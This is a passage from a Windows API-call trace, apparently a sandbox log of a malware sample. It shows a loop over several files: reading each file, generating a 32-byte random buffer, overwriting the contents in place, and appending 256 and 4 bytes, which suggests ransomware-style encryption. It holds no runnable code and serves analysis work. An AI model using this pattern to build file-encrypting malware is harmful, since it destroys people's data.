hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.215] GetProcessHeap () returned 0x540000 [0086.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.216] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.216] WriteFile (in: hFile=0x91c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.216] WriteFile (in: hFile=0x91c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.216] GetProcessHeap () returned 0x540000 [0086.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.216] CloseHandle (hObject=0x91c) returned 1 [0086.216] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 104 [0086.216] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.217] ReadFile (in: hFile=0x920, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.217] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.217] GetProcessHeap () returned 0x540000 [0086.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.217] GetProcessHeap () returned 0x540000 [0086.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.217] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.217] GetProcessHeap () returned 0x540000 [0086.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.217] ReadFile (in: hFile=0x920, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x3a1, lpOverlapped=0x0) returned 1 [0086.229] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0xfffffc5f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.229] WriteFile (in: hFile=0x920, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x3a1, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x3a1, lpOverlapped=0x0) returned 1 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.229] GetProcessHeap () returned 0x540000 [0086.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.230] GetProcessHeap () returned 0x540000 [0086.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.230] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.231] GetProcessHeap () returned 0x540000 [0086.231] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.232] GetProcessHeap () returned 0x540000 [0086.232] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.232] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.233] GetProcessHeap () returned 0x540000 [0086.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.234] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.234] WriteFile (in: hFile=0x920, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.234] WriteFile (in: hFile=0x920, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.234] GetProcessHeap () returned 0x540000 [0086.234] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.234] CloseHandle (hObject=0x920) returned 1 [0086.235] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 105 [0086.235] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.235] ReadFile (in: hFile=0x924, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.235] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.235] GetProcessHeap () returned 0x540000 [0086.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.235] GetProcessHeap () returned 0x540000 [0086.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.235] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.235] GetProcessHeap () returned 0x540000 [0086.235] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.235] ReadFile (in: hFile=0x924, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.238] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.238] WriteFile (in: hFile=0x924, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.238] GetProcessHeap () returned 0x540000 [0086.238] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.239] GetProcessHeap () returned 0x540000 [0086.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 